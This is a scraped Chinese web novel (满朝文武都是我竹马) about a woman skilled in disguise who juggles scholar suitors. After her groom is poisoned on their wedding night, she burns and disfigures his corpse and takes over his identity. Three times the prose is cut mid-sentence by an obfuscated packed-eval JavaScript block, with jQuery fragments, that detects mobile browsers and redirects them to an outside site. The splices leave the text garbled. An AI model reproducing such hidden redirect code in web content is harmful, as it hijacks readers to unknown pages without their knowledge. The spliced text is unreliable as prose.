《满朝文武都是我竹马》
1. 接亲
01
我从小没爹没娘,流落在街头,吃百家饭长大。
幸得村口卖豆腐的阿婆收留,我才有了容身之所。她没有儿女,独自生活了大半辈子。老来寂寞孤苦,便把我当做亲孙女疼爱。
她教我识字念书,识物辨人。我总觉得她的见识谈吐,并非寻常的乡野村妇。
直到临终的时候,阿婆才告诉我真相。原来她曾是江湖有名的易容高手,因为得罪了仇家,所以隐姓埋名在这里过日子。
她不希望自己的易容术就这样失传,因此将其呕心沥血书写成书,交到了我的手上。我在病榻前磕了个响头,发誓定不负所托,势必将易容术传承下去。
她笑着抚摸我的脸,咽下了最后一口气。
我将阿婆葬在了她最爱的榕树底下。
自那以后,我继承了她的衣钵,经营着村口的豆腐店。每日天还未亮,就起床磨豆腐,用挤出来的时间练习易容术。我始终记得阿婆的遗言,一丝也不敢懈怠。日夜起早贪黑,勤加苦练。
最后功夫不负有心人,我终于练得了一手出神入化的易容术。
我生来相貌平凡,身材高,骨架大。没有盈盈一握的细腰,也没有柔若无骨的身形,看起来就跟男子一般无二。但只要施展易容术,我就可以随意更换样貌。
我为自己精心挑选了一张脸皮,循序渐进更换自己的样貌。旁人只觉得我越发赏心悦目,却不知道其中的蹊跷,只道是女大十八变,越变越好看。
没过多久,我便成为了当地有名的豆腐西施。不少人都慕名前来观看我的美貌。
匹夫无罪,怀璧其罪。无依无靠的美貌孤女,自然引得恶徒垂涎三尺。正因为树大招风,不少浪登徒子喜欢来调戏我。
殊不知,这只是我计划的第一步。
02
我不甘愿一辈子就此隐没于乡野。
我想要攀高枝,嫁入高门变凤凰,过上锦衣玉食的生活。为此,我调查了十乡八里的穷书生,挑选其中小有才华的,对他们嘘寒问暖。
我按照百家姓的顺序,对刘郎、张郎、周郎、顾郎等各种郎排序编号,每日用毛笔记录下他们的喜好和言行,来分析他们的行情。
生性愚钝者,悟性不高,难中高官。我用毛笔划掉了他的名字。
耽于玩乐者,意志不坚,难成大事。我再次划掉了几个名字。
胆小懦弱者,不能帮我驱赶恶徒。若是遇着危难,势必会牺牲妻子,保全自己。我又用毛笔划掉了一些名字。
最后剩下的,要么是武艺高强,能勇斗恶徒的壮汉,要么是聪明机敏,能舌战群儒的文人。
英雄救美是男人最喜欢的戏码,能很好地满足他们的虚荣心,拉进我们之间的关系。我以驱赶恶徒、感谢救命之恩为由,对他们暗送秋波。
现如今我顶着的面容,说是倾国倾城的大美人也不为过。
家徒四壁的穷书生,遇见佳人在侧,自然是心神荡漾。我小意温柔,充当他们的解语花,倾听他们的烦恼,为他们排忧解。很快,他们就拜倒在我的石榴裙之下。
他们不知道彼此的存在,都以为自己是我独一无二的竹马。殊不知,他们只是我广撒网的鱼。
作为情投意合的小青梅,我按照岔开的时辰表,给他们送去我亲手做好的饭菜,时刻关心他们的课业。毕竟猪只有养肥了,才方便宰杀。
我坚信,放长线才能钓大鱼。
我对他们说:“哥哥若是某日金榜题名,莫要忘了回来娶我。”
他们都信誓旦旦地承诺:“待我他朝步青云,定会来娶你。”
只可惜,放入海里的鱼,回来得很少。
京城时兴榜下捉婿,竹马们大多是有去无回。乱花渐欲迷人眼,京城的大家闺秀更是数不甚数。
平步青云以后,又有几人能记得出身乡野的青梅呢?
张郎三年前中了文状元,娶了丞相的女儿。刘郎两年前成了武举人,跟将军的女儿拜堂成了亲。周郎去年是探花,至今未娶,只是鸿雁传信,说时机尚未成熟,要我再等等。
如今我等了一年,周郎从京城派来的信鸽,带来的内容还是等。
切,画大饼谁不会啊。再等下去,黄花菜都凉了。
我把周郎寄来的信件,撕成了稀巴烂,丢进了纸篓里。
03
名册十二卷,竟都是负心郎。
这里头唯一兑现承诺,立刻来娶我的人,只有今年参加武举的顾郎。
顾郎生得人高马大,为人忠厚老实。他虽然是个憨憨,但凭借孔武有力的身材,侥幸讨了个武举的末位。刚好踩着线,当了个小武官。
据说金榜题名当天,他看都没看一眼京城的姑娘,直接雇了匹汗血宝马,立刻快马加鞭,独自启程回乡。
顾郎几天几夜未曾合眼,不分日夜地赶路,就是为了回来见我一面。他的面容看着憔悴,双眼却炯炯有神。
那双清澈的眼眸里,赫然倒映着我的身影。
他寻来媒婆,准备好聘礼,过来向我求亲。我用手帕捂嘴浅笑,低头装作羞涩的模样,实则在心里掂量他的价值。
说实话,顾郎的官位还是小了些。再加上他是个只认理的死脑筋,在官场怕是混不开,升职的上限就摆在这了,八成没什么前途可谈。日后我若是嫁了他,恐怕很难过上锦衣玉食的生活。
然而,我已经老大不小了。再等下去,不知何时才能再钓上个金龟婿。毕竟过了这村,可就没这店了。
铜钱投进湖水里,还能听个响。而我那些飞黄腾达的竹马,可未必能有回音。
十二卷的名册,都只出一个顾郎。我又有多少的大好年华,可以在等待中荒废呢?
别到时候赔了夫人又折兵,什么好处都捞不着,只能在这荒郊野岭了却余生。
田里庄稼收割了一茬又一茬,赋税又比往年重了几分。我真的再也等不下去了。
我思量完毕,一咬牙,下定了决心,笑道:“顾哥哥,我左等右等,可算是把你给盼来了。”
顾郎眼眸深邃,咧开雪白的牙齿,傻笑道:“婉清,你等着,我明儿个就八抬大轿来娶你。”
他急着娶,我急着嫁,便是一拍即合。
算命先生卜了一卦,说明日不够好,劝我另择良辰吉日。顾郎急着回京上任,不能再往后拖延。而我向来不信命数,自然没有把这话当真。
三书六礼,十里红妆。我戴着凤霞披冠,等着他来接亲。
可是没想到在成亲当天,却来了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560165|171380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两台花轿。
这是个什么情况?
04
我看着眼前的两台花轿,一时间犯了难。
打东边来的花轿队伍,看起来气宇轩昂,冠盖上绣着金丝牡丹,垂着翡翠珠帘,在阳光下熠熠生辉。
打西边来的花轿队伍,虽挑出什么错处,但与之相对,便显得相形见绌。
我透过红盖头的缝隙,暗中分析眼前的局势。我记得曾在名册里记录过,顾郎住在西边几百里的顾家冲。
至于这东边,确实有几位竹马,但都尚未科举,也不知道来的是谁?
我心中正纳闷着,转头便看见东边的队伍,突然冒出个熟悉的人脸。
只见周郎翻身下马,快步朝我走来,张开双臂,颇为爽朗地笑道:“婉清,我回来娶你了!这是我特意给你准备的惊喜,高不高兴?”
对于我来说,这不是惊喜,反而是惊吓。
真是个自以为是的男人,尽知道给人添麻烦。
我一把掀开红盖头,在心底翻了个白眼,面上却是笑脸相迎:“周哥哥,我左等右等,可算是把你给盼来了。”
我嘴里念叨的这套话术,跟对顾郎说的内容一模一样。只字未改,纯属犯懒。
周郎浑然未觉,抱着我转了一个圈,瞬间红了眼眶:“婉清,好久不见,你消瘦了许多。”
我现在没心思跟他叙旧,只是一个劲儿地往旁边瞄,生怕顾郎看见我跟他勾肩搭背。
万一顾郎控制不住脾气,磨刀霍霍向周郎,分分钟就可以拿下他的项上人头。
周郎要自找死路,我当然管不着,但我可不想跟着他一命呜呼。
我从周郎的怀里钻了出来,整理了一下鬓边的碎发,把他往房里推,讪笑道:“你回来得太突然,怎的都不跟我提前打声招呼?”
周郎有些不明所以,疑惑道:“我按照约定来娶你,你为何这般紧张?还有,外头那挡道的接亲队伍又是什么情况,难道村里有哪家姑娘也是今日出嫁?”
我心里一咯噔,走到门边,往外探了个头。
如今吉时未到,顾郎的队伍还没有动静,现在做取舍还来得及。
我合上门,深吸一口气,酝酿了片刻,捂着脸开始挤眼泪。
周郎看我哭得梨花带雨,立刻心疼得不行,忙问道:“怎么了,难道有人欺负你了?跟哥哥说,哥哥我帮你做主!”
“呜呜呜,其实、其实……”我抽噎了几下,哭得上气不接下气。
见气氛烘托得差不多,我才继续哭哭啼啼地说道:“周哥哥,你每次传信都让我等。我实在是想念你,便忍不住托人打探你的消息。结果听见京城里传来的风声,说你要娶尚书大人的女儿。我、我不想耽误你的前途,便狠下心答应了别人的求亲,只为让自己断了对你的念想。”
我用手帕虚掩着,擦拭眼角的泪花,情深款款地说道:“周哥哥,我只盼着你好。我出身微寒,在仕途上帮不了你,只能出此下策,希望你莫怪我。”
“我怎么会怪你呢?”周郎连忙扶住我,将我一把搂紧怀里,郑重其事地发誓道,“你听到的传言都是空穴来风,我此生非你不娶!”
我把脸埋在他的怀里,嘴角扬起一抹笑意。
鱼儿上钩了。
2. 中毒
05
只要是下象棋的人,都知道丢卒保帅的道理。
现如今顾郎是我的卒,而周郎便是我的帅。
正所谓官大一级压死人。同样是在京城为官,也有云泥之别。周郎的官位,比顾郎高上好几阶。
人往高处走,水往低处流。顾郎虽好,却着实比不上周郎有能耐。世人向来拜高踩低,我若是嫁给周郎,那日子肯定能过得更加潇洒。
我在心中拿定了主意,暗自对顾郎道了声歉。
周郎问我:“外头的接亲队伍该如何是好?”
我眼珠子一转,立刻计上心头,轻声哄骗道:“外头那糙汉,由我亲自说去。旁人若是问起来,你只道是与我定亲多年。如此一来,也不至于落人口舌。”
周郎满口答应。
搞定了这边的周郎,现如今只剩下外面的顾郎。我重新给自己遮上红盖头,不紧不慢地走出门外。
屋外锣鼓喧天,大红轿子上系着纸花,在阳光下亮得刺眼。顾郎身骑白马,胸带红花,痴愣愣地望着我。
我嫣然一笑,迈开绣花鞋,款款迎上前去。
顾郎是个认死理的,应付周郎的那套说辞,对他来说完全不管用。
若我拉着顾郎大谈仕途前程,劝他抛下我另觅良人,恐怕他也只会对此置若罔闻。
我决定对症下药。顾郎是个大孝子,对父母的话百依百顺。往好了说是守孝悌,往坏了说就是愚孝。
这点正好可以我所用。
面对另外一队接亲的花轿,顾郎有些不解,正欲开口询问:“为何……”
“顾哥哥,婉儿对不起你!”我抓住他的衣摆,猛地跪了下去。
先声夺人,便可抢占先机。顾郎见我下跪,立刻乱了阵脚,连忙翻身下马,将我扶起:“婉清,你这是怎么了?”
我低着头,泫然欲泣道:“顾哥哥,其实我有一事欺瞒了你。”
“我过世的阿婆,生前给我定了桩亲事。按理来说,父母之命,媒妁之言,我理当遵守才对,可是我对你情根深种,实在不愿嫁与他人,便一直欺瞒至今。”
我将父母二字咬得极重,继续道:“如今纸终归包不住火,周家按照约定,派人来娶我了。没想到你们竟然会在今日撞见,我想一定是阿婆在天之灵,希望我遵守她的约定。”
直接说谎话,容易被人拆穿。真假掺半,最能让人信服。
我确实先与周郎互许终身,也确实没想到这两人会同时来娶我。就算顾郎信不过我,去周家打探消息,结果也跟我所说的八九不离十,绝对挑不出什么毛病。
听完我的话,顾郎有些混乱:“那、那我们该怎么办?”
“我父母去得早,是阿婆一手将我拉扯大。她对于我来说,就是再生父母。”我捂住胸口,做西子捧心状,叹道,“如今我幡然醒悟,我愧对阿婆,愧对死去的父母!”
我伸手抚摸顾郎的脸,恋恋不舍道:“在天愿作比翼鸟,在地愿为连理枝。顾哥哥,你莫怨我。此生我只能嫁与他人,若有来世,我定不会负你。”
“你如此守孝道,我怎么会怨你?”顾郎的眼里噙满了泪水。他握着我的手,哑声道:“父母养育之恩大过天,怪只怪造化弄人,我没能早点遇见你,早些去跟你的父母阿婆提亲。”
顾郎一步三回头,满脸痛心地带着迎亲队伍离开了。我望着他离去的身影,不由得松了口气。
只要能把他打发走,别说是来世,就算是下辈子,下下辈子,都无关紧要。
这样的空许诺,我要多少有多少。
06
我坐上了周郎的花轿。
红烛高照,喜幔低垂。拜了天地以后,便是入洞房。
屋外道贺声不断,我端坐在床沿,静静等待着周郎的到来。
没过多久,外面便响起一阵虚浮的脚步声。
周郎绣着祥云纹的靴尖,停在了我的面前。他挑起我的红盖头,扑面而来的是浓烈的酒香。
我皱了皱眉,竭力遏制住掩鼻的冲动。
“婉清,我总算娶到你了。”周郎的声音有些沙哑,带着几分醉意。我闻到他身上酒气熏天,似乎混着一丝若有若无的苦味。
他脱下外衫,按住我的肩膀,将我压倒在床榻之上。
我向来不喜酒肉的臭气,心中有些嫌弃,于是假笑着推开他,转移话题道:“周哥哥,你还没喝合卺酒呢。”
“哎呀,你瞧我这记性。”周郎一拍脑袋,摇摇晃晃地站起身来,口齿不清地说道,“都怪我太高兴,竟忘了这么重要的事。”
他自顾自走到桌前,倒了一杯合卺酒,一饮而尽,叹道:“好酒。”
我有些无奈,只好提醒道:“周哥哥,我们要喝交杯酒。”
“哦对对对。”周郎如梦初醒般回过神,将酒杯塞到我的手里。
我微微抬眸,正欲饮下杯中酒,却见周郎身形一晃,踉跄着后退两步,堪堪扶住了桌案。
他的面容在烛光下显得格外苍白,唇色却异常红艳。我心头一跳,总觉得哪里不对劲。
我扶住他,问道:“可是身体不适?”
周郎甩开我的手,逞强道:“无妨,许是酒劲上来了。”
他勉强笑了笑,可那笑容还未绽开,便猛地捂住胸口,一口鲜血喷涌而出,溅在喜服上,染出一片刺目的暗红。
“婉清,我怎么……”周郎抹了抹嘴角的血,眼里闪过几分错愕,随即直直地向我栽来。
他艰难地抬起手,似乎想触碰我的脸。可惜才伸到半空,便又无力地垂下。
话音未落,他的瞳孔已经涣散。
周郎伏在我的身上,一动也没有动。我伸手探他的鼻息,已然没有了呼吸。
我推开他冰凉的尸体,这才看清他的嘴唇乌黑,应当是中毒身亡。
周郎刚才喝了合卺酒,莫非是……酒里有毒?!
我先是后怕,而后是一阵庆幸。若非周郎贪杯,我恐怕也要跟着陪葬。
到底是谁下的毒?目的又是什么?
不管是谁动的手,嫌疑最大的都是跟他洞房的我。若是县令想草草结案,我恐怕有七张嘴也说不清。
我看着周郎渐渐冰冷的身体,耳边嗡嗡作响。喜烛还在燃烧,烛光却显得那样刺眼。
该死的,早知道我就听算命先生的话,不要赶着在今天拜堂成亲了。
07
常言道:唢呐一响,黄金万两。不是升天,就是拜堂。
没想到,这升天和拜堂,竟然让我同时给撞上了。
我顿时悔不当初。早知如此,当初就该嫁给顾郎。
现在有个最大的问题摆在我的面前,那就是怎样为自己洗脱嫌疑。乡里的县令曾断过不少糊涂案,我可不能保证自己会成为其中的例外。
将全部身家全部押在莫须有的运气上,这是傻子才做的事。更重要的是,我不甘心唾手可得的荣华富贵,就这样与我擦肩而过。
明明只差一点,我就可以当上周夫人,尽情享受锦衣玉食的生活。可不过是转眼的功夫,我苦心经营
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560166|171380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的美梦,就在一夜之间化为了泡沫。
我焦虑得直啃指甲,但又很快克制了下来。这可是我好不容易保养的手指,不能因为一个男人的死就给糟蹋了。
我深吸一口气,强迫自己冷静下来。
红烛摇曳,烛泪顺着烛台缓缓滑落,在案几上凝成一滩暗红。
我在屋内扫视一圈,目光猛地一顿,落在床头的雕花木匣子上。这是我带来的嫁妆,里面收纳着易容用的工具。
刹那间,一个绝妙的想法冒了出来。我决定易容成周郎。
我身形高挑,正好可以假扮为男子。曾经张郎嫌我嗓音低沉,没有寻常女子娇俏可人。我因此苦恼不已,费了好一番功夫,特意苦练口技,学会变换自己的声线。没想到此时竟然成了我的救命稻草。
周郎的容貌,再加上周郎的嗓音。我便可以狸猫换太子,窃取他的富贵生活,夺走他的大好前途,最后成为他。
万事俱备,只欠东风。我撕开床单做裹胸,匆匆扒下周郎的衣服,穿到自己身上。那些累赘的凤披霞冠,如今套在他的尸体周围,就仿佛是禁锢生魂的枷锁。
只见我手指翻转,转眼间我的脸,就变成了周郎的模样。
男子跟女子骨骼不同的地方,主要在于头颅和盆骨。如果不想让事情败露,最好的办法就是毁尸灭迹。
我拔下头顶的发簪,扎进周郎的盆骨,将其搅碎变形。再将易容剩下的人皮面具覆盖在表面,用透明针线缝制闭合伤口。最后,我把合卺酒洒遍周郎的全身,丢上了燃烧的红烛。
火焰沾上烈酒,跃动得愈发凶猛。
我不动声色地站在墙角,眼睁睁看着烛火点燃血红的嫁衣,蔓延至周郎的全身,隐没了他的面容。
眼看着尸体燃烧殆尽,我不慌不忙地拿起了铜镜,再次端详自己的容貌。确认万无一失后,我在房间的四处也点上了火焰。
直到火势变大,冒起了滚滚浓烟,我才捂着口鼻,佯装慌乱推门而出,喊道:“不好了,起火了!快来人救火!”
听见我的呼救声,家仆急忙提着木桶赶来泼水。只可惜火势已大,不过是杯水车薪。
我装作悲痛欲绝的模样,朝着大火嘶吼,喊着自己的名字:“婉清,快来人救救我的婉清!”
为了做实自己的身份,我甚至装作情深义重的模样,再次往火里扑。
家仆连忙拦住我,劝道:“周大人,您冷静。如果夫人在这里,肯定也不希望您为了她葬送性命啊!”
他不知道的是,我就是夫人,我就在这里。
没有人可以代替我发言。谁说我不希望周郎为我葬送性命,只要我能活下来享受荣华富贵,别说是一个周郎,哪怕是十个周郎死掉都没有关系。
我见戏演得差不多了,便收住势头,跌坐在地上,捂脸叹息道:“你说得对,我要活下去。我可怜的婉清,也一定要活下去。”
“来人呐,快带大人去休息。”家仆连忙扶起我,将我暂时安置在了不远处的槐树下。
我站在人群之外,看着他们络绎不绝地赶来救火,仿佛在看一出荒诞不经的闹剧。夜晚模糊了人们的视线,在暗淡的光影下,没有人看见我嘴角勾起的笑容。
“雄兔脚扑朔,雌兔眼迷离,双兔傍地走,安能便能辨我是雌雄?”我轻声哼唱着木兰辞,心情是前所未有的轻快。
没有人知道火里躺着的是谁,而外面站着的又是谁。我们互换了人生,同时也互换了生死。
今日死的是她叶婉清,活的是我周佑民。
3. 入京
08
大火烧了一整个晚上,直到天光乍现才熄灭。
在残存的废墟中,只剩下一具烧得面无全非的干尸。断裂的横梁砸在尸体上,全身上下多处骨骼断裂。仅凭现有的痕迹,无法判断出男女。
官府派来的仵作验了尸,根据残留的钗裙,默认了“叶婉清”的死亡。此事被判定为意外身亡,最后草草了结。
衙门的差役随口问了几句经过,便报上去交了差。整个过程远比我预想得快。
如果出事的是周郎,我想他们肯定会查得更加仔细。可是现如今死的只不过是个无依无靠的孤女,没有任何亲人在世,甚至不用担心有人来击鼓鸣冤。
我偶然听见家仆在私下里议论,说幸好死是刚过门的新夫人,而不是有权有势的周大人。毕竟他们还指望着周大人发月钱,来养活一家老小。
自从我成为了周郎,世界仿佛都变了一番模样。所有人都对我毕恭毕敬,只要我一个眼神,就立刻有人前来为我鞍前马后。
曾经对我嗤之以鼻的人,现在都是点头哈腰,对我做低伏小。
比如那不可一世的县令老爷,他从来不理会良家女子的状告,总是对为非作歹的恶徒睁一只眼闭一只眼,放任他们横行霸道。
在开始物色竹马之前,我曾将恶徒告上过官府。县令收了恶徒的贿赂,没有任何作为,直接把人给放了,气得我捶胸顿足。
现如今我成了周郎,总算能扬眉吐气一把,指挥他为我端茶倒水、捶肩捏背。
县令一边感恩戴德,一边谄笑道:“周大人若是回了京,可莫要忘了同乡的邻里。”
“同乡有那么多邻里,我都自顾不暇,哪里照顾得来?”我冷笑了一声,装作不经意地搓了搓手指,别有深意地望着他。
县令一愣,立刻反应了过来。
他了然一笑,从袖口里掏出一袋银子,塞到了我的怀里:“这是我的小小心意,还望大人笑纳。烦请大人回京以后,多为我美言几句,提携提携下官。”
我收下银两,假笑道:“那是当然。”
当然个屁。
提携这个狗屁贪官,还不如提携村口的大黄狗。大黄好歹还能看家护院,这个死胖子贪官却只知道私饱中囊,搜刮民脂民膏。
京城收一成赋税,这死胖子却收两成。后来京城收两成赋税,这死胖子收三成。多余的钱,全部都进了他的口袋。
眼看着历年税收逐渐加重,恐怕再加收下去,真要逼死老百姓。
我看着这肥头大耳的脸,顿时气不打一处来,于是便清了口痰,朝他吐了过去。
“哎呀,你瞧我这,莫名喉咙发痒,不小心弄错了方向。真是失礼,失礼!”我拱起双手,权当刚才发生的事是一场意外。
“大人,您这是哪里的话!”县令抹了把脸上的痰,眉头都没皱一下,陪笑道,“时候也不早了,大人早些歇息。您这边请,我送您出去。”
他挺着大腹便便的肚子,走在前头领路。因为胖得看不见腰,他只能把整个身子往下弯,以显出对我的恭敬。
这模样看起来滑稽极了。
我在心里发笑。哪怕我对他吐痰,骑在他头上作威作福,他也是敢怒不敢言,难怪能当上县令爷。
周郎这身份可真是好用。那晚的大火虽然熄了,我的野心却如同熊熊烈火,疯狂燃烧开来。
只是京城高不成低不就的官,就可以得到如此拥戴。若我平步青云,当上了更大的官,岂不是可以横着走?
我越发庆幸自己那日的选择,原来做男子竟如此方便。不仅可以考取功名,还可以妻妾成群,拥有数不尽的金银财宝。
如今这世道,女子只有嫁人生子一条路可走,凭什么男子就可以坐享万千拥戴?
辛辛苦苦钓金龟婿,倒不如权势滔天来得实在。
09
我抱着自己的骨灰,顶着周郎的面容,启程前往京城。
家仆驾着马车,带我回到了周郎的府邸。
“大人,到了。”他拨开帘子,双手撑地,半跪在车轮前。
我停顿了一下,最后还是踩着他下了马车。
眼前的府邸看起来气派大方,入目便是一扇朱漆大门,门楣上悬着鎏金匾额。门前两尊威风凛凛的石狮子,嘴里含着圆滚滚的石球。
如此富态,看来不愁吃穿了。
我满心欢喜,面上却丝毫不显,只是将双手背在身后,昂首阔步往里走。
可越往里走,我越觉着不对劲。这府邸看似富丽堂皇,可细看之下,假山上的青苔已经发黑,池水浑浊不堪,就连回廊的栏杆都有些斑驳,散发着一丝若有若无的霉味。
我不知道周郎的房间在哪,于是停下脚步,对身后的家仆吩咐道:“你去给我准备些点心,放到我的房间。”
“这个,那个……”家仆期期艾艾地望着我,半天都没有动作。
我忍不住挥了挥衣袖,催促道:“怎么了,还不快去!”
“大人,府里没有点心。如果您要吃的话,得去街上买。”
“那就去买。”
“可是大人,你上个月的月钱还没有发我。我现在没钱去买点心。”家仆摸了摸脑袋,低头哈腰道。
我沉默了片刻。
此时此刻,我恨不得把周佑民从骨灰盒里掏出来,揪着他的领子质问。
周郎啊周郎,你到底是怎么回事,小厮的月钱不发就算了,怎么连点心都买不起?!
县令那里敲诈来的银两,在我怀里都还没踹热乎,就要忍痛割爱了。
我叹了口气,拿了一个银子,放到家仆的手心,改口道:“这是你这个月,还有下个月的月钱,点心你先别买了,送壶热茶到我房间。”
“好嘞,我这就去。”家仆拿到了月钱,立刻打起了精神。
我坐在正堂,等他泡好热茶,再跟着他找到了周郎的房间。
先前我只是隐约有些担忧,进入里屋后我确认了。周郎并不似表面上的那般风光。
窗棂上的漆已经剥落,露出里面发黑的木头。雕花木床虽然样式精美,但却是陈旧不堪。
我望着家徒四壁的房间,深深地感觉自己上当受骗了。
10
我乔装打扮,去打探了一圈消息,总算搞懂了来龙去脉。
周郎考取功名以后,确实谋了个不错的官职。只可惜他心直口快,说话不过脑子,得罪了不少同僚,暗中总是遭人排挤。他郁郁不得志,偶然踏入赌坊,就此染上了赌瘾。
按理来说,周郎在礼部做事,俸禄还算丰厚。只要不胡乱挥霍,维持日常开支绝对绰绰有余。
可他偏偏是个赌鬼,没过多久,就败光了家财,只能潦倒度日,身边也只留下了一个忠心的家仆。
我就说为何中了科举的竹马,只有周郎时常写信给我。原来是因为京城没有姑娘看上他。
他不是不愿成家,而是成不了家。最后只能装腔作势,来娶我这个一无所知的青梅。
所谓的衣锦还乡,不过是一场骗局。
看来此番我冒用周郎身份进京,非但没能捞着半分好处,还得帮他收拾残局。
唉,真可恨我千算万算,最后做了桩赔本的买卖。本以为是富贵险中求,没想到竟是竹篮打水一场空。
如今我顶着周佑民的脸平安归京,那幕后黑手短期内应该不会再次出手,但始终是个隐患。
只能走一步看一步了。
在彻底了解朝廷局势前,我不敢贸然行动。因此,我需要喘息的时间,为后面的布局做准备。
装病是最好的选择。
我拿出易容工具,对着铜镜调整人皮面具的状态。
头发枯槁,眼圈乌黑,嘴唇微微发白。镜子里的我,俨然一副忧思过度、多日未眠的模样。
洞房花烛夜,妻子亡故。悲痛欲绝之下,我突发恶疾一病不起,也不是没有可能。
为了让这周佑民的戏演得更真实,我决定为叶婉清举办一场葬礼。
11
这场葬礼是我搭的戏台子,而我自己便是唱戏的角儿。
府邸挂上白色绸布,灵堂里摆满白幡。深黑色的檀木灵牌上,刻着遒劲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560167|171380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有力的暗金大字:亡妻叶婉清。
吊唁的宾客陆续到来,里面有几个我同乡的竹马。到底是红颜知己一场,虽然我生前见不着他们的面,但没想到死后他们倒是愿意来看我了。
最先到场的是顾郎。
他一语不发地走进灵堂,呆呆地望着我的灵牌。原本俊朗的轮廓凹陷下去,颧骨高高突起。那双曾经明亮眼睛布满了血丝,周围泛着青黑。
接着到场的是刘郎。这个负心郎,跟将军的女儿成了亲,没想到还能面不改色地出席我的葬礼。
他叹了口气,对我拱手行礼,惺惺作态道:“周弟,请节哀。”
不过是猫哭耗子,假慈悲罢了。我心中虽然不屑,面上却是滴水不漏,故作坚强道:“多谢刘兄安慰。”
刘郎见我面容憔悴,叹道:“周弟真是用情至深,只可惜红颜薄命啊。”
最后到场的是李郎。他当的是个小官,娶的也是个小官的女儿。他跟我寒暄了几句,便对灵堂拜了一拜。
我瞧他跟刘郎谈笑风生、互相攀谈的模样,仿佛从来不曾认识过叶婉清,仿佛真的只是来参加同僚夫人的葬礼,仿佛从不曾对我许下过诺言。
曾经的海誓深盟,都已成过眼云烟。
李郎环顾四周,忽然问道:“张尚书来了吗?”
“张知节都当上丞相大人的女婿了,哪里还会记得我们这样的同乡?”刘郎摆了摆衣袖,语气中带着几分讥讽,转而问道,“你说对吧,周弟。”
我笑着打了个哈哈:“张大人可能只是忙吧。”
“周弟真是心胸旷阔。”刘郎话里有话,故意煽风点火道,“按理来说,你跟他同在礼部做事,比其他同乡多了一层关系,应当互相帮衬才对。没想到他竟然冷漠至此,对你不闻不问。我真是为周弟你道不平啊!”
我继续装傻:“刘兄这是哪里的话。张大人是礼部尚书,我是他的下官,岂有让他屈尊纡贵的道理?”
朝廷的文官和武官历来不和,刘郎恐怕是想故意挑起我的不满,以此来借刀杀人。哪怕闹不出什么动静,也能给张郎找找麻烦。
若我真的是周郎,恐怕就上了他的当。可惜现在这副壳子底下是我叶婉清,那个被他抛弃的青梅。
没有人能比我更了解这混账肚子里装着什么坏水。
见我不上钩,刘郎的眼里闪过一丝失落。他很快恢复表情,意味深长地说道:“周弟,看在同乡的份上,你听我一句劝。朝廷凶险,风高浪急。要选对方向,才能避开礁石,以免落得个船毁人亡。”
我眼珠子一转,立刻明白了过来。这番话是让我早点站队。
如今朝廷党政激烈,以将军和丞相为首,各成一派。周郎入京为官堪堪一年,还没有明确立场,夹在中间不上不下,确实难做人。
“多谢刘兄提点。”我姑且用场面话搪塞了过去,“刘兄大可放心,我周某人不是墙头草,只是人微言轻,不敢贸然行事。”
刘郎对我虚心的态度很是受用。
“周弟当真是聪慧。”他的语气放缓了几分,带着拉拢的意味,“若是日后有机会,我倒是想把妹妹介绍给你,说不定还能做个亲家……”
他的话正说到一半,却被人从身后推开。只见顾郎气势汹汹地朝我走来,抡起拳头就要挥向我的下巴。
好在李郎眼疾手快拦了下来,大喊道:“顾兄住手,使不得,使不得啊!”
“婉清尸骨未寒,你竟然就已经开始盘算着跟别人成亲。”顾郎眼眶泛红,目眦欲裂,嘶吼道,“早知如此,哪怕是背负骂名,我也该强娶了她!”
我望着他激动的神情,心情一时间有些复杂。
李郎趋炎附势,刘郎结党营私,而张郎始终未曾出现。这场我的葬礼,真正来吊唁的,唯有顾郎一人。
我的良心有点痛,同时也有些庆幸。
顾郎是个好人,我没能嫁给他也好,免得耽误了他的好前程。
只是这份惆怅并未持续太久。
我看着眼前的局势,忽然心生一计。事已至此,不如顺水推舟,把事情给闹大些。
4. 昏君
12
我正愁如何造势,没想到瞌睡来了,立刻有人送枕头。顾郎这一拳,正中我的下怀。
他闹得越凶,我越是高兴。如此一来,前来吊唁的宾客,都会知道我因情生病的事。
我后退几步,跌跌撞撞瘫倒在地,掩面而泣道:“顾兄,你误会了!我此生非婉清不娶,这辈子再也不会同他人成亲。”
反正我是女的,左右也没什么损失。要是真娶了哪家的闺秀,反而容易暴露身份。倒不如借此机会封人口舌,免得有好事之徒说亲。
顾郎是个好面子的傻憨憨,见我摔倒在地,一副病殃殃的模样,不好意思继续动手,只能咬牙收回拳头。
他甩开衣袖,愤愤地瞪着我,犹不解气地骂道:“你这个窝囊废,我还没动手,你就倒了。婉清真是倒了八辈子的霉,才嫁给你这种人。”
